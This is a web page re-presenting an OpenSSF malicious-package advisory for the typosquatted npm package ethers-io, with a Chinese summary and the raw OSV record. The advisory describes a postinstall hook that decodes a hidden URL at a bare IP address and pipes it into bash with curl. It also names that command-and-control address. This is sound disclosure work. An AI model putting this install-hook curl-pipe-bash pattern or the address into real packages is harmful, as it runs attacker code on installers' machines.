目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

ethers-io

MAL-2026-3708
2026-05-15 07:39:06
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in ethers-io (npm)

安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
—
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmethers-io1.0.0
npmethers-io2.0.0
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-05-15T07:39:06Z","published":"2026-05-13T12:01:08Z","schema_version":"1.7.4","id":"MAL-2026-3708","summary":"Malicious code in ethers-io (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (098acd1dccfed8bcaea9f56206745eef7c9e4cd368599ba23f762a84c86bbc14)\nThe package's `package.json` declares a `postinstall` script that base64-decodes a hidden URL (`http://8.217.75.147:3000/payload`) and pipes the HTTP response directly to `bash` via `curl -s <url> | bash`. On every `npm install`, arbitrary attacker-controlled shell code is fetched over plain HTTP from a bare IPv4 address and executed on the installer's machine with no TLS, no integrity verification, and fully mutable content. Multiple independent block signals stack: obfuscated URL in a lifecycle hook, curl-pipe-bash, bare-IP plaintext C2, and purpose mismatch with the package's stated function. The package name `ethers-io` and its stated purpose as \"I/O utilities for ethers.js\" additionally impersonate the well-known ethers.js ecosystem, with the repository pointing at `github.com/ethers-utils/ethers-io` rather than the genuine ethers.js organization — a typosquat lure wrapped around the install-time RCE.\n\n## Source: ossf-package-analysis (096fee7452967418fa149986d5ef661f3292d844524b58d3c3ca2b2e1b8cffc0)\nThe OpenSSF Package Analysis project identified 'ethers-io' @ 2.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"ecosystem":"npm","name":"ethers-io"},"versions":["2.0.0","1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"0b6caae1378a89a996fe7e1620494a2475bce12bcdfb8848d6ca9e7ecdc3ef72","tlsh":"18016651d9242aa32acc1fd46d4e208ab2365c0b5c54bc24b397880e4b5e2ef02fb68d"}],"package_integrity":[{"filename":"ethers-io-2.0.0.tgz","hashes":{"sha1":"a5c87e94ece6c12d7f1fe1e1e5d89a4e736bcd7f","sha512_sri":"sha512-VnyifUoRFKdpM31skgnvV3Q+BJ99rXEO4Ht2et3LGITpbS3fK4gLsyT33JBmJHMH1STGbCO9GzexGOvDXFhBxQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/ethers-io/v/2.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/ethers-io/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["actran@amazon.com"]},{"name":"OpenSSF: Package Analysis","type":"FINDER","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"]}],"database_specific":{"malicious-packages-origins":[{"source":"ossf-package-analysis","sha256":"096fee7452967418fa149986d5ef661f3292d844524b58d3c3ca2b2e1b8cffc0","import_time":"2026-05-13T21:58:24.739660541Z","modified_time":"2026-05-13T12:01:08Z","versions":["2.0.0"]},{"source":"ossf-package-analysis","sha256":"53670603313bd7a44e508b5eae7a10e2aa77aff4ebe93bb7f37cfa14ffac16e4","import_time":"2026-05-13T21:58:24.632215328Z","modified_time":"2026-05-13T12:01:28Z","versions":["1.0.0"]},{"source":"amazon-inspector","sha256":"098acd1dccfed8bcaea9f56206745eef7c9e4cd368599ba23f762a84c86bbc14","import_time":"2026-05-15T07:37:16.778530994Z","id":"IN-MAL-2026-002691","modified_time":"2026-05-14T19:25:08Z","versions":["2.0.0"]},{"source":"amazon-inspector","sha256":"374ad9e5565581a12e9a891c5fffd853d7d6f548261693d05d2fe40a15001ef4","import_time":"2026-05-15T07:37:20.673900921Z","id":"IN-MAL-2026-002815","modified_time":"2026-05-15T03:16:46Z","versions":["2.0.0"]},{"source":"amazon-inspector","sha256":"5c9fe094b4d627b53e4f88fb92a2fbee76337088f6f615c7fdc6ebe95a268a34","import_time":"2026-05-15T07:37:16.723479836Z","id":"IN-MAL-2026-002690","modified_time":"2026-05-14T19:25:07Z","versions":["1.0.0"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0